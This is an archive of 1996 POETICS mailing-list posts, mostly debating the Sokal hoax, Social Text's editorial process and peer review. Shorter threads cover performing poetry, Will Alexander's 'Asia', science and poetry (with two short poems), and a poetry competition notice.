David Baratier, On the face of it, your quote from previous post seems a fairly straight- forward replay of Jakobson-type Russian formalist lit crit. I fail to see the motive for your spleen. Was the theory claiming to be new-fangled? Did Blake or some other poet put a patent on metrical effects & how to read them? Sounds like Finch et al. are simply emphasizing an awareness of what metrical rhythms might be doing (as opposed, maybe sometimes, to the "rhythm" of rhetorical effects). Of course poets who try to take this turf from the critics are in danger of quick petrification and de-humidification. That's why we have critics. - Henry Gould

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426. Henry Gould
Re: fake science: reply
Tue 21 May 1996

There's a long op-ed piece in today's NY Times defending Social Text(by Stanley Fish). Seems to me both sides are talking past each other to side issues; what the imbroglio reveals are unarticulated philosophical assumptions on both sides. Ross et al. claim that "of course there's a real world out there but it's all relative to social constructions of its meaning"; Sokal et al. claim that "the real world reflects a truth that we must constantly adjust our lenses to grasp". That's the nub of the difference, and it gets to the deep issues that Peirce explores in his lifelong contrasting of realism (or ideal-realism) and nominalism.

He would I believe come down on the side of Sokal; truth is not relative to our names for it (nominalism) - our naming is relative to the truth, and requires empirical testing (realism). This is an utter simplification (Hank's demonio reductium!!) but it's the core issue. All the biz about Sokal or Ross's good faith or credentials are the side issues. It's a real dispute about the limits of both science and its sociology. - Henry Gould

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427. **David Golumbia**
Re: fake science: reply
Tue 21 May 1996

Can we be filled on where Ross's reply appears? Has it been, or will it be, published somewhere? Or was it meant to be distributed electronically?

And did anyone note with interest (as did I) Ross's statement that SOCIAL TEXT is an "unrefereed" journal?? I realize it may not have a formal referee process, and that most of its contributions are solicited -- but this claim has never, so far as I know, appeared inside the journal itself, let alone near its prominently-featured list of the prominent members of its "Editorial Collective"?? I wonder how many persons have sent contributions to ST believing otherwise? What exactly does ST do with unsoliicted manuscripts, in that case? I'm baffled.

Although I'm ambivalent about Stanley Fish, there's a provocative reply to all of this by him on the OpEd page of today's NY Times.

Which does not mention what for me is the oddest irony: the fact that Sokol's prank is described in the NY Times headline breaking the story as a "deconstruction" of cultural studies -- thus for the first time using the term to mean perhaps the exact opposite of Derrida's uses of it...

--
[redacted]
David Golumbia

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428. **Jordan Davis**
Re: formal continuum/computer writing demo
Tue 21 May 1996

Dear Dave,

Is it the word 'saussure' to which you object? The other part of the quote looks pretty intelligent from here, unless of course you don't think poems set up separate structures, or you don't think meaning operates in differences. Mainly it's

monotony I object to, as opposed to repetition, which is the basis of music, no? Monotony then would mean repetition without surprise.

Come to Teachers College tomorrow morning for a poetry reading and computer writing demonstration by 6th graders from the Ralph Bunche School. The reading is at 10 a.m. at Room 157 in Thorndike Hall, 525 W 120th St, New York.

Btw, Rob, is it the Foucaldian paraphrase that turns you off? Wasn't Foucault paraphrasing Nietzsche's first 'untimely meditation'? To ask along with Rod Smith, doesn't Chris remind you of Nietzsche, but with more energy? Energy kicks.

Hotcha,
Jordan

PS Dave, should we go to the booglit show or should we go to Philadelphia. (You can tell me where to go :)

PPS Lot of guys writing lately to the list, huh?

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429. Tony Green
Re: rules & conventions
Tue 21 May 1996

Apropos Burgeresque historical generalisations: I'd be inclined to check the relations between writers (or other "artists") with their social setup of neoclassicism or pre-neoclassicism. Say, what was the position of Dr Johnson or Piranesi to patronage?! fr'instances. Artists were having problems with patrons way back in the 16th century. The Romantic artists had a tradition to conserve ready for use maybe.

Tony Green,
e-mail: [redacted]

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430. Charles Smith
Re: fake science: reply
Tue 21 May 1996

---

hmm.... contra... more to it

(i find it fascinating)

↑ Index

431. **Joe Amato**
Re: fake science: reply
Tue 21 May 1996

like alan, i have doubts about ross's caricature of the editorial decision at _social text_ to accept sokol's piece... i think mebbe ross oughtta just cop to it, and admit that sokol's prank got past the editorial board... like david, i find it somewhat disturbing too that ross should now publicly make the claim for "unrefereed" status, and i'm not a big stanley fish fan, either---at least, not of late (though i'm gonna try to find that op-ed piece)... and like henry, i feel that both sides are in fact talking past the other...

nevertheless, i find mself on the ross side of things in terms of challenging sokol's "leftist" motives, and in terms of what sort of work i find valuable, even as, again, i do think that sokol managed to put one over on _social text_, all naysaying to the contrary...

the society for literature and science (sls), of which i've been a member for some eight years, has in the past couple of years addressed (in its annual conference, and its general discussion) the more conservative attacks on cultural studies work (in fact there is a somewhat dormant e-list, litsci-l (now out of ucla), of which i was once listowner, which one would think would be noisy as hell in light of these recent events)... i for one have found certain claims coming out of cultural studies, relative to science in general, problematic... b/c i don't believe that all empirical inquiry, for example, is intrinsically "positivistic"... and yet i do believe, with ross, that the sites are contested, as well they should be, that they should in fact be even more contested... that is, to put ross's way of putting it in the affirmative, non-experts *should* have something to say about scientific methodology and epistemology---provided, that is, they go about their own business as expert-ly as possible... i mean, i'm not wedded to the idea that a cultural studies type interrogating a scientific-technological reality becomes, in such methodological terms, a non-expert... but i'll let the latter terminological slippage slide for the moment...

b/c for me the real matter of the moment here has to do with david's question about whether ross's reply was meant for electronic distribution... why is it that this controversy, at least as it's coming down the pike, is taking place over there, in print?... at least among the contenders, i mean---ross, fish, sokol, etc?... why the hell don't we have an electronic forum where sokol, ross, fish and anybody else who's interested can converge to chew over these... discrepancies?... litsci-l could be used for same, for example... or even this forum, poetics, which to its credit is motivated enough to introduce and discuss this issue almost out-of-context (---thanx steve!)... but i mean, why aren't alla these well-

known folks busy discussing and dialoguing online?---or if they are (my apologies), where is this happening?...

it seems to me that venues like the ny times are not open to everyone (anymore than are the pages of _social text_) and that in the interest of things democratic it would help immensely if such conversations weren't restricted to print, which seems to me to act as a silent mechanism for silencing those w/o name-status from actively contributing, hence for constructing a certain sort of "public" space... and i regard this not as a consequence of conspiracies, but of institutional orthodoxies... which is to say that, though too many folks still don't have access to emedia, there are many more who *can* voice their opines in these spaces than are likely to see their names in the ny times... and i mean, like, the folks who're doing all the talking surely have email accounts...

a lot of the hogwash that's likely to emerge from this controversy could probably be addressed and dispensed with in just a few email exchanges... which, of course, is hardly to argue for progress, but which is to make a claim for process, due and otherwise...

joe

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432. Fred E. Maus
Re: fake science: reply
Tue 21 May 1996

Gee, I really liked Andrew Ross's account of the editorial decision. It sounded completely plausible to me. Maybe that's because my own editing experiences have to do with music publications, and in those settings things are constantly being published because of something about the identity of the author. "Yes it's not very good, but it's interesting that a *composer* is trying to write about it" or "that this particular composer said that" etc. The statement that they finally printed it because they thought it was interesting documentation of a scientist trying to think through some theoretical things sounds like unvarnished truth to me.

If they say they are "unrefereed" doesn't that just mean the editorial collective makes all the decisions without turning to other readers for evaulations? Why the fuss?

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433. **Herb Levy**
Re: fake book
Tue 21 May 1996

Despite Rob Hardin's reading of what I wrote (taking note of the state of things is not the same as approving of them), I'm very much in favor of people performing poetry by others.

It is usually extremely interesting to hear a piece of music performed by the composer (whether you're talking about Stravinsky conducting his own works, or Pauline Oliveros performing hers), but radically different performances by other performers can illuminate musical works in a way that has rarely been considered in the world of literature (cf John Coltrane's many versions of My Favorite Things, Glenn Gould's Mozart sonatas, etc.).

In literature, the author's own version is often taken as the ONLY way to sound a work out loud. Texts aren't usually treated as scores for performance by others, or they are treated more strictly than is often the case with musical scores. As long as this is true, any kind of tradition of performative interpretation will be rare in poetry.

If authors wish to give up their authority (as unacknowledged, & often unacknowledgeable, authors of traditional works in oral cultures have at least in a de facto way), then maybe there can be a kind of poetry fake book, in the sense of a way to get a quick overview of how to perform a work that you literally may never have known of before.

Until the cultural context of literature changes that radically, I think we can only be concerned about which books are not fake poetry books.

Which I think we'd all agree is a very different issue, though I doubt we'd all agree on which books were which.

Oh, and as an aside to Chris Stroffolino - I only chose the O'Hara poem because when I turned to look at the bookshelf next to me the first thing I saw was the MOMA memorial book of the same title with various artists illuminating various O'Hara poems.

I wasn't thinking (& am not now) in terms of Harold Bloom or any use of the term interpretation in the sense of criticism, but rather (as described by several folks in the context of the fake book thread) performance as interpretation. As perhaps a lounge poet (sic) might say "here's one of my own personal favorites, I hope it's one of yours: my interpretation of "Maximus to Himself." Is the band ready? Ah, one, ah two, one two three four. I've had to learn ... "

Bests,

Herb Levy
[redacted]

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434. Alan Sondheim
Re: fake science: reply
Tue 21 May 1996

I read Joe's reply and agree with much of it. I've also been writing a bit about this on the Derrida list and just want to say, briefly, what I said there - that I don't believe cultural studies/decon folks know very much about science, and I understand why scientists (including a number I've known) get angry at them. If you haven't studied mathematica, and, say a course on fundamental particle physics, including the mathematics, experimental apparati and methodologies, all you're doing is attempting to colonize a field you know nothing about, period. In any other cultural area this would be called imperialism, particularly as we look more and more towards 'native' voices for ethnography. But science seems a free- for-all, as if there is a totality called "science" embracing everything from particle physics to geology, geography, etc. Not only is this in- correct, but it's also highly prejudicial.

Too many cultural theorists are too busy theorizing to actually sit down and, say, take that course, or work through the books themselves.

Alan

http://jefferson.village.virginia.edu/~spoons/internet_txt.html images: http://www.cs.unca.edu/~davidson/pix/ Ich war Hamlet. Ich stand an der Kuste und redete mit der Brandung BLABLA, im Rucken die Ruinen von Europe. Heiner Muller

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435. Burt Kimmelman
Re: fake book
Tue 21 May 1996

Hey I have been misquoted (disinformationized!). Steve has me saying stuff about Sappho and Pound and is otherwise misleading his readers. I said something about Old English autographs on parchment and the like.

Burt Kimmelman

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436. Ursula K Heise
Re: fake science: reply
Tue 21 May 1996

I, too, would be interested to know where Ross' reply was printed. I understand that he will publish a reply to Sokal in the next issue of _Lingua Franca_.

As for the account of how ST decided to publish the article: yes, perhaps, as somebody suggested, "unrefereed" just means the editorial collective decided. I still find that disturbing in the case of an issue on science if there are no scientists on the editorial board (I'm not sure whether they are). If one publishes an article from a field that one doesn't have expertise in, I do think there is an obligation to run it by somebody from the field to see if it makes sense in its own discipline. Fish's op-ed piece misses the mark in this respect, I believe: sure, trust is part of the scholarly/scientific enterprise, but so is fact-checking and editing.

I also found Ross' patronizing attitude toward scientists very disturbing. So he accepts a piece that he himself thinks is inferior because those poor physicists don't know how to do better and should be encouraged in their modest efforts to understand literary and cultural theory? I can't help but find that attitude condescending.

Ursula K. Heise

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437. Joe Amato
Re: fake science: reply
Tue 21 May 1996

fred, i suspect that some of us are feeling/responding to the visibility/reputation of _social text_... that is, to it's being published, whatever its "little review" lineage, by duke up, which itself is a power-broker in the academic world (which is not to suggest that duke up is evil or some such)... hence ross's description of the editorial decision smacks of a certain condescension toward those without proper credentials (read "appropriate institutional identity card")---in this case, a scientist... but in any case, it could be anybody---that is, anybody w/o visibility (note the list he gives of better-known scholars, by way of---is it justification of even-handedness?)... and if one lacks this ostensibly arbitrary but identifible identity status, and is likewise not a scientist (these latter will evidently be allowed to go public on occasion b/c of their 'expert' status---in science, that is), then what does this say about one's chance of publication in such a "nonrefereed" journal?... that is, what *is* being published by _social text_---or solicited---finally?... identities?...

which is perhaps to state the case contra ross much too harshly... but it is nonetheless to state the case...

still, i'm ultimately on ross's side on this, if i've gotta choose sides, i mean... i don't think he's been disingenuous, i think rather he's merely saturated with his subject position, and is seeping here & there...

joe

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438. **Stephen L Burt**
Re: fake science: reply (long)
Tue 21 May 1996

My 50p on the fake science issue:

If Fish's description in today's NYT of what science studies people, a.k.a. sociologists of science, do is accurate, than Sokal got it wrong, perceived a threat to science where there was none, and created a damaging controversy that will only give the "wrong people" ammunition.

But in defense, not of Sokal's actions but of his reactions to the books he read: it's easy to imagine Sokal reading some badly-written or poorly-thought-out science studies pieces, and coming to the false conclusion that science studies people thought phlogiston was just as real as oxygen. And it would be bad for (e.g.) the global climate if everyone started to believe in phlogiston. Again, if Fish is right, science studies can't possibly pose such a risk; but Sokal probably hadn't been reading Fish.

To generalize: The badly-written pieces in any subfield, especially a subfield that challenges the basic assumptions of the wider culture, do serious damage to that field's attempt to get itself taken seriously outside the subdisciplines in which it's already established. Bad American deconstructionists encouraged people to laugh, unfairly, at something called "deconstruction," and every dull or badly-informed piece of academic writing about popular culture encourages people who don't "do" contemporary popular culture to believe that it's not worth studying, or even to feel threatened by the "growing" study of it. Careful editing is always a good; in a controversial subfield it ought to be a tactical necessity.

An example in a quite different subfield (and one that's unlikely to offend anyone reading this list) is Reynolds and Press' _The Sex Revolts_, a poorly-written, sloppy book applying queer theory to underground rock, and one that's probably done some damage to whatever receptive audience there might have been for a good one down the road.

Re Andrew Ross' defense: it makes sense to me that _Social Text_ would want to publish in an issue devoted to Science Wars the "take" on these issues of somebody trained in physics, especially if they didn't have any other essays reflecting a physics background, and if Sokal essay was more interesting than whatever else _Social Text_ happened to have in the "science" file of their bottom drawer.

What struck me as slightly wacky in Ross' piece was the hint of an assumption that the cultural authority of scientists, because it had often been used to promote sexism and other bad things, therefore _ought_ to be undermined. It's easy to imagine practicing scientists-- especially in some fields with immediate political implications, say climatology-- considering it a matter of some moral urgency that their profession GAIN cultural authority. If Miami's going to be underwater unless we listen more to climatologists (and I'm not saying it is) then climatologists have a good and ethical reason to want to protect certain aspects of their privileged positions.

Finally:

Those who, like me, don't know much about science studies but find it interesting anywaymight want to look at last week's (not this week's) TLS, which had a full-page review of a science studies book out of Edinburgh. There's some blather about the information age in the front, but you can ignore it.

Obligatory poetics-related remark: has anyone else read or enjoyed John Keene's _Annotations_, which I got through last month? It seemed to want to be an African-American rewrite of _My Life_, with the same intricate structure of repetitions & returning lyrical single-sentence moments.

steve pangolin

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439. Loss Glazier
Re: Bob Bertholf
Tue 21 May 1996

Yes, indeed.

At 09:12 AM 5/20/96 EST, you wrote:
>loss,
>
>is that michael basinski by any chance?
>
>burt

>
>

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440. **David Golumbia**
Re: fake science: reply
Tue 21 May 1996

---

1. Two persons have now suggested that "unrefereed" means "without external reviewers." They may very well be right; I've never heard the term "unrefereed" before. What I've heard is the term "refereed," as in "you should fill your cv with publications of essays in refereed journals." "Refereed" in this case meaning "peer reviewed." Implying that "unrefereed" means "not peer reviewed." In any meaningful sense of the term "refereed," review of unsolicited manuscripts by ST's Editorial Collective would seem to qualify as "refereed."

I don't know why I should care so much about this, except that I guess that Ross's use of the "u" term struck me as a kind of after-the-fact denial of responsibility. It sounds like he's saying that ST isn't a standard academic journal -- which I very much hope it is, for it until now has done little to explain how it differs from one.

2. The science question, I just can't go on about this, but I disagree witha great deal of what's been said. Science is *always* a cultural practice, always embedded, standards of objectivity themselves embedded. Ross and Fish give up too much ground in their defense. The crucial place to read about this is less sociology of science, in my opinion, and more feminist critiques of science. The notion that culturla theorists don't "know science" is itself deeply problematic: what is "science"? What is it that an astronomer knows about science that is shared with a molecular biologist? One thesis of cultural theory re: science, as I've said, considers it as cultural practice, integrated into every aspect of our culture (he says, typing on his computer): what puts a "scientist" into a privileged position regarding cultural practices and their theoritization and keeps a cultural theorist away from said privilege? It would be one thing if Ross was trying to tell somebody how to extract DNA from human tissue; but to suggest that the biologist is in a beetter position to "theorize" that pracitce begs the question.

Furthermore, practicing scientists themselves differ just as much as non-scientists in their views -- consider, for example, S.J. Gould, E. F. Keller, & R. Lewontin, all of whom are or were hard-core scientists, all of whom (Keller & Lewontin more than Gould) accept the "cultural practice" view of science.

And experience (and th pages of Scientific American) show that a lot of philosopphers are really bad theorists, thinkers, writesr, about much but their own specific efforts or experiments.

3. The relation of all this to poetics is...

--
[redacted]
David Golumbia

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441. Christopher J. Beach
Re: fake science: reply (long)
Tue 21 May 1996

Who is John Keene? Sounds interesting.

C Beach

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442. Tom Beard
what a scientist knows about science
Tue 21 May 1996

David Golumbia wrote:

> *What is*
> *it that an astronomer knows about science that is shared with a molecular biologist?*

They both know what it's like to 'do' science - to have to test one's hypotheses against observation. This is something that cultural theorists (and other theorists, eg theoretical physicists) do not have to do. Being a practising scientist is a quick way to lose the illusion that science is about discovering universal truths - it is about formulating useful, falsifiable hypotheses that are tentatively accepted until something better comes along.

They should also both know some physics - new theories of electromagnetism, for example, would affect both spectroscopy and the formation of protein molecules. This is where science gains usefulness over pure empiricism - all its fields are connected, and developments in one area may produce new ideas in another discipline. Reductionism may have a bad name in some circles, but it's an extremely useful tool.

It's sad to see so much anti-science feeling still among people in the arts and humanities. I'd hoped that Snow's 'two cultures' had gone further towards talking to one another. Part of it, I think, comes from a simplistic view of 'Western Thought', and of science's place within it. It's true that much of today's research is tied up with military-industrial power structures, and that some have misused science to promote racism and patriarchy. On the other hand, many see the

mind/body duality as part of western thought, but science, and philosophes such as Diderot, have done more to undermine this duality than any amount of deconstruction.

Perhaps it's a question of territory, and the tendency to see everything in terms of one's discipline. A cultural theorist tends to see everything in terms of culture, in the same way that a physicist might reduce everything to physics, or an economist reduce everything to money. I'd like to think that writing poetry is a useful way to understand what our senses tell us, and so is science.

Tom Beard.

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443. - Kim Tedrow

what a poet knows about science

Tue 21 May 1996

Tom writes:

>>>>I'd like to think that writing poetry is a useful way to understand what our senses tell us, and so is science.<<<<<

I'm enjoying this thread. I remember that as an undergraduate, I found myself writing more/being more "creative" when I was taking what are thought of as "left brain" courses: Intro to Logic, Astonomy, Biology, Technical writing, etc. I never exactly tried to express why that was, except that I found the *ways* of thinking and perceiving through a different "discipline" stimulating -- the new vocabulary, a new system of thinking, a whole new set of metaphor and description.

I married a soil scientist who also happens to write pretty decent poems. We had many discussions about how the scientific method is indeed creative, and how frustrating he found the bias in liberal arts against science. Of course, the complementary bias in the sciences exists as well, which he found much more frustrating.

Just my $.02. Thanks Tom.
-Kim

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444. FUNKHOUSER CHRISTOPH

Will Alexander's work

Wed 22 May 1996

---

about Will Alexander's work--

Ron,

Eric Dolphy used to talk about trying to hit three or four notes at the same time, & there are other *out* musicians who have said (theorized & practiced) the same, so I'd begin by connecting it with something like that. Will has an incredible record (LP) collection.

Perpetual fire in language with meaning (everything in there has meaning/ means something: I remember Will saying how he got the biggest dictionary he could, read it all, spending a lot of time writing down every interesting word he found in it -- filling many notebooks, which he uses for content) -- he's a self-proclaimed jock & a surrealist artist (painter as well as writer): going at it on all levels -- sometimes I think of his writing as something like a museum of Bosch paintings -- each piece having everything it has in it in it & everything else too -- symbolism, meaning, spirit, contraries, whatever you see or experience in it. othertimes it is something else. surrealism with meaning?? i don't know about that, but the combination of books he celebrates as sensual in "The Myrmidons of Oblivion" are by Cesaire, Turgenyev, and Rene Leys, if that says anything. Anyway It seems as though all the various things in the _in this_ places are there in Asia, so dark and psychedelic.

"logorheaic excess (a pleonast's plenitude)..." is one thing, & one way to read it. It could also be something like someone who's totally smashed on language & the oppression of people, especially non- white cultures, for a few centuries. Will's work seems like all those things (a wild and relentless unpublicized history). Of course this would be shot down in a workshop! How many students (or teachers) want to (have the time to?) to deal with a poem such as Asia. The "voices" in the poem are the spirits of murdered Tibetan monks who have come back to perform "astral warfare" on the Chinese. It's much more gruesome than "Helter Skelter", & a challenging read. The "we" is artifice, for sure, but I'm willing to allow Will to imagine the voices of slaughtered monks (who probably didn't think the marxists were scaly, but who knows what they were thinking as they were feeling the bullets approaching their skin?) Also, "here was Marx, here was the state" to me implies that the two are seperate, not together, in the "voices" mind, for what it's worth

The footnote on page twelve is refering to a quote from one of the books Will makes multiple references in the poem, listed on p. 138. the quotes in the poem & notes are from these books, not an earlier draft of the poem.

dig it, chris f

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445. **Tom Beard**
what poetry knows about scientists
Wed 22 May 1996

Kim writes:

> *I'm enjoying this thread. I remember that as an undergraduate, I found myself writing more/being more "creative" when I was taking what are thought of as "left brain" courses: Intro to Logic, Astonomy, Biology, Technical writing, etc.*

I had the same feeling. Mathematics, in particular, I found a highly creative activity, requiring intuitive leaps as well as rigorous logic. Some of group theory and what mathematicians call 'foundations' (the intersection of logic, set theory and number theory) is especially beautiful.

People often talk about the connections between mathematics & music, but the only connection that I found useful at the time was in understanding acoustics and digital sampling. I'll mathematical composition to Xenakis.

> *how frustrating he found the bias in liberal arts against science. Of course, the complementary bias in the sciences exists as well,*

Yes, and I was as guilty as any. I've no problems now about being a scientist who writes poetry, but my scientific background leads me to bristle at some extremes of post-structuralist theory - for example, the refusal of many cultural theorists to even _consider_ the possibility of biological influences upon human behaviour.

I've rarely tried to involve science in my poetry, and tend to cringe at most attempts to write poems about chaos theory. My career in meteorology has affected my writing - but on the other hand, show me a poet who has never mentioned rain, wind, sunshine or clouds! I find that, contrary to some claims, the more I know about a phenomenon such as thunderstorms, the _more_ they fill me with wonder and awe.

On rare occasions I've written from a persona that uses scientific metaphors:

The Physicist Drinks to Forget

no use in
crying
    over it, Hera's milk
spilt
   across our nights

   that hub
that turns around us
the way

she turns
around me, turns
me around

--

what's the use of
laws, the attractions
of gravity, electricity?
all it takes
is three bodies (sun,
earth, that damned cold
moon)
and we're lost

and I'm caught
lying
like a star fallen

till the dew
falls, twinkles
in my lashes,
clear as gin

The mathematician defines her space

With time, everything tends
to zero.
=> leave her.

You prove existence, but not
uniqueness. I am necessary
but not sufficient.
=> leave.

This triangle would appall
Euclid -- nothing adds up.
She warps our space.

=> let's begin
with new axioms, construct
a metric, a way to measure
space, the distances
between us.

It amuses me now to recall how many of my colleagues really talked like this, using mathematical jargon to describe their personal lives.

There's been some transfer the other way too. Some aspects of theory, in particular hypertext theory, have informed my current work: writing/designing computer-aided learning packages for meteorologists. I've gone away from the standard heirarchical presentation of knowledge (headings, subheadings, sub-subheadings &c) in favour of a dense web of hyperlinked nodes. This, I think, is much closer to the way that the atmosphere actually works.

Cheers &c,

Tom Beard.

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446. Marjorie Perloff

Re: POETICS Digest - 20 May 1996 to 21 May 1996

Wed 22 May 1996

Like Ursula Heise, I find Andrew Ross's condescending tone to scientists extremely irritating. As someone married to a scientist (an M.D.) who writes countless articles, I think it should make clear that the purpose of, say, articles in CIRCULATION is to describe new and better ways of treating heart disease, in my husband's case of prolonging the lives of those with congenital heart disease--people who used to die at age 16 or so and with scientific advances, now live to middle age and beyond. The purpose of articles about such disease is to inform other members of the profession as to specific treatments, advances, problems, etc. It's not to be clever or to find essentialist truth, etc etc.

So when Stanley Fish says on today's Op Ed page that--gotcha!--because the poor deluded scientist didn't even realize that the issue was the social construction of science not scientific truth, he is entirely missing the point which was that a non-sociologist of science could produce a spoof which was ACCEPTED FOR PUBLICATION in what is supposedly a classy journal which turns down many articles and essays. On what basis was it accepted?? All of Ross's excuses and Fish's disclaimers won't convince me until they manage to get an article into CIRCULATION or any comparable journal.

The real issue here is : what is the purpose of professional publication? Is it to chat with other like minded humanists about what we think science is? Or is to advance knowledge in some way?

No wonder the public thinks we're a bunch of decadent creeps!

Marjorie Perloff

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447. Chris Stroffolino
Re: Will Alexander's work
Wed 22 May 1996

I don't know if I should be saying this...
And I hope it's not fuel for any severe detractors of Alexander's
For I say it with absolute respect...
But one interesting thing re Will Alexander's "earlier draft"
is that when I was sent the poem ASIA in MS, I marvelled over
his vocabulary and also words I considered to be NEOLOGISMS....
I wrote Will about my love of his word "exhile" (which I took as
a neologism on exile and exhale) and also
"furnance" ("furnace, finance?)---
and went through explications of such....
Will said, "oh no, they were just typos, spelling errors."
c

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448. Eryque Gleason
Re: Will Alexander's neologistic typos
Wed 22 May 1996

i read chrisS's post and realized i didn't really know what neologism meant. definition #2 in mirriam webster's tenth edition: "a meaningless word coined by a psychotic".

"veeeerrrry interesting, but stupid." thought it might be of some relevance/interest here.

eryque

> *I don't know if I should be saying this...*
> *And I hope it's not fuel for any severe detractors of Alexander's*
> *For I say it with absolute respect...*
> *But one interesting thing re Will Alexander's "earlier draft"*
> *is that when I was sent the poem ASIA in MS, I marvelled over*
> *his vocabulary and also words I considered to be NEOLOGISMS....*
> *I wrote Will about my love of his word "exhile" (which I took as*
> *a neologism on exile and exhale) and also*
> *"furnance" ("furnace, finance?)---*
> *and went through explications of such....*
> *Will said, "oh no, they were just typos, spelling errors."*
> *c*

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449. **Ron Silliman**

Fake editing

Wed 22 May 1996

Fake books, fake science...it's all intriguing.

But I was especially amused at the raised eyebrows over the idea of Social Text (a mag which I've always presumed to imply the term social as in "social mixer" or, better, "social climber"), that form of postmodernism that knows how to dress, should be "unrefereed."

So I thought I would throw my perception that the "referee" process is one of the great hoaxes of academic life. It generally neuters the journal that uses it (why there has never been a really good college literary magazine) and, in critical areas, often tends to permit a lot of ax grinding go on behind the curtains. I've seen good articles rejected because a referee did not want X or Y (including some Xs and Ys on this list) to make a credible argument from an established position that might later compromise his or her forthcoming article(s), or to pay off a grudge on some tenure or step increase decision.

It's no accident that all of the decent magazines over the past 80 years have been the work of single, strong-willed individuals, even ones with whom one might not agree. Editorial committees by their nature seek compromise -- at the Socialist Review, where we had two collectives (one of which, in Boston, tended to "referee" articles and one of which, in the Bay Area, did not), we lost several great articles because they were simply too provocative -- including a great Samuel R. Delaney response to Donna Harraway that is still unpublished. That we managed to print "Manifesto for Cyborgs" (by an editorial majority of 5-4 in which the deciding vote declared that SR ought to publish "anything I can't understand") or Avital Ronell's manifesto for nuclear criticism always amazed me. Leslie Scalapino's response to my own intro to a collection of poetry (which gave rise to the much fuller dialog that later appeared in Poetics Journal) certainly could not make it through the process -- I was the lone vote in favor of publishing it.

So let me add one additional category to this discourse:
refereeing = fake editing

Ron Silliman
[redacted]

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450. **Henry Gould**
Re: fake science
Wed 22 May 1996

Hope you'll all forgive me for harping on my hobbyhorse again, but I'm reading Peirce (that shd be clear by now) & can't get over how relevant it is to the Sokal flap. He sets up a philosophical position that not only grounds the realist/nominalist distinction (as I related to the dispute in earlier post) - he also debunks the arrogance of science (in scientism & positivism) which dominated the "philosophy of science" at the end of the 19th century. He was able to do this because he was one of those rare birds, a real philosopher coming out of a background in experimental science. His explorations in logic led to an architecture of meaning which describes nature's operations as "like a language"; which suggests a cosmic sentience or universal Mind not on theological claims (transcendentalism) but on observation of the workings of logic itself - a creative tripartite structure in which the "chance" subject is linked to a general "predicate" which has meaning in the context of the whole as "coming from the future" (a consensus of truth).

Wish I could be more precise - I know how foggy this all sounds - but what I'm driving at is that Peirce revaluates some of these issues - the social construction of science, the relation of reality to our descriptions of it, and the relations between creative thinking in general both to chance and what can be termed "the true". And he does this in ways that can't be pigeon-holed as conservative, idealistic, positivistic, etc. He took care not to be pigeonholed by those who claimed him as their guide - Wm James & the pragmatists. It almost goes without saying that he was ostracized, attacked & ignored by the academic establishment of the time & died in poverty. There is the possibility of a philosophy of science which recognizes the "fallibilism" (Peirce's term) of socially and politically-textured knowledge without falling into either camp of "nominalist" relativism or its obverse twin, positivist empiricism. - Henry Gould

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451. **Mark Roberts**
AWOL: Inaugural Olympic Sports Poet (forwarded)
Wed 22 May 1996

> *The following message has been posted on behalf of Network Tennis Australia. Please address all enquiries to them at the contacts listed below. The AWOL email address should only be used to submit entries which will then be forwarded to NTA.*

****

Network tennis Australia (NTA) has launched a new poetry competition, to be awarded annually. In the year of the Olympic Summer Games it shall be known as the 'Olympic Sports Poet' award. In other years it shall be known as the '(Nation) Sports Poet award.

This unique award has been created to celebrate & symbolise the powerful & exhilarating synergy that exists between sport and poetry and entries for the Inaugural Olympic Sports Poet 1996 are now being invited..

Conditions of the Award

Prize allocation is:

Open section 1st prize $400, 2nd prize $200, 3rd prize $100.

Olympic Sports Poet junior section 1st prize $100, 2nd prize $50, 3rd prize $25.

Competition opens 1 May 1996 and closes 30 June 1996. Late entries will not be accepted.

Entries can be submitted in paper copy to:

Mail Network Tennis Australia,
Sports Poet Competition,
210 Annandale Street,
Annandale NSW Australia 2038.

Fax 61 2 5172466.

Entries can also be emailed to: [redacted] *or you may submit your entry through the Sports Poet web page http://www.ozemail.com.au/~awol/sportspoet.html*

The theme of the poems entered must be sport

> *Entries must be written in English.*
>
> *The junior section is for poets 13 years or younger at 30 June 1996. Junior entries must be clearly marked and the the poet's date of birth must be included.*
>
> *Poems must not be under consideration by any publisher. Entrants requiring manuscripts returned or to be notified of the winners should enclose a SSAE . Overseas entrants should enclose an international reply coupon (entrants who submit poems by email will receive a post listing the winners).*
>
> *Competition judges are Les Wicks and Ron Pretty. The judges decision shall be final and no correspondence shall be entered into. NTA shall make changes to the judges panel in the event of a Judge being unavailable.*
>
> *The winners shall be announced in July/August 1996 and published in the Poets Union Inc magazine Five Bells soon after.*
>
> *NTA shall not be responsible for any loss or damage to entries and reserves the right to reproduce the winner's poem and other selected poems.*
>
> *For further information about these conditions please contact Network Tennis Australia on ph 61 2 [redacted], fax 61 2 [redacted].*
>
> *AWOL*
> *Australian Writing On Line*
> [redacted]
> *http://www.ozemail.com.au/~awol*
> *PO Box 333 Concord NSW 2137 Australia*
> *Phone 61 2 7475667*
> *Fax 61 2 7472802*

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

452. **Rod Smith**
Ediots
Wed 22 May 1996

yes, ediots.
It's a term who's time has come.

Rod

↑ Index

453. **Sheila E. Murphy**
Re: Fake editing
Wed 22 May 1996

Ron Silliman wrote:

> *So I thought I would throw my perception that the "referee" process is one of the great hoaxes of academic life. It generally neuters the journal that uses it (why there has never been a really good college literary magazine) and, in critical areas, often tends to permit a lot of ax grinding go on behind the curtains.*
>
> *It's no accident that all of the decent magazines over the past 80 years have been the work of single, strong-willed individuals, even ones with whom one might not agree. Editorial committees by their nature seek compromise --*

I second the motion. The erasure of personality has been one of the ungreatest inventions of our time. Have had this same perception about committee (job) interviews, by the way (of less direct interest to this list). Have always felt I could hire more effectively with the benefit of clear, direct thinking on the part of one individual, rather than trying not to offend or threaten certain components of the sprawling decisionmaking vehicle..

Committees and referee groups are inherently intuition bashers when it comes to decisionmaking of this sort. Groups are better for idea development and other things.

Sheila Murphy

↑ Index

454. Daniel Bouchard
Re: Ediots
Wed 22 May 1996

> *yes, ediots.*
> *It's a term who's time has come.*

>Rod

_____

I've been enjoying the term "critiots" for a while now.

[redacted]

↑ Index

455. David Golumbia
Re: Ediots
Wed 22 May 1996

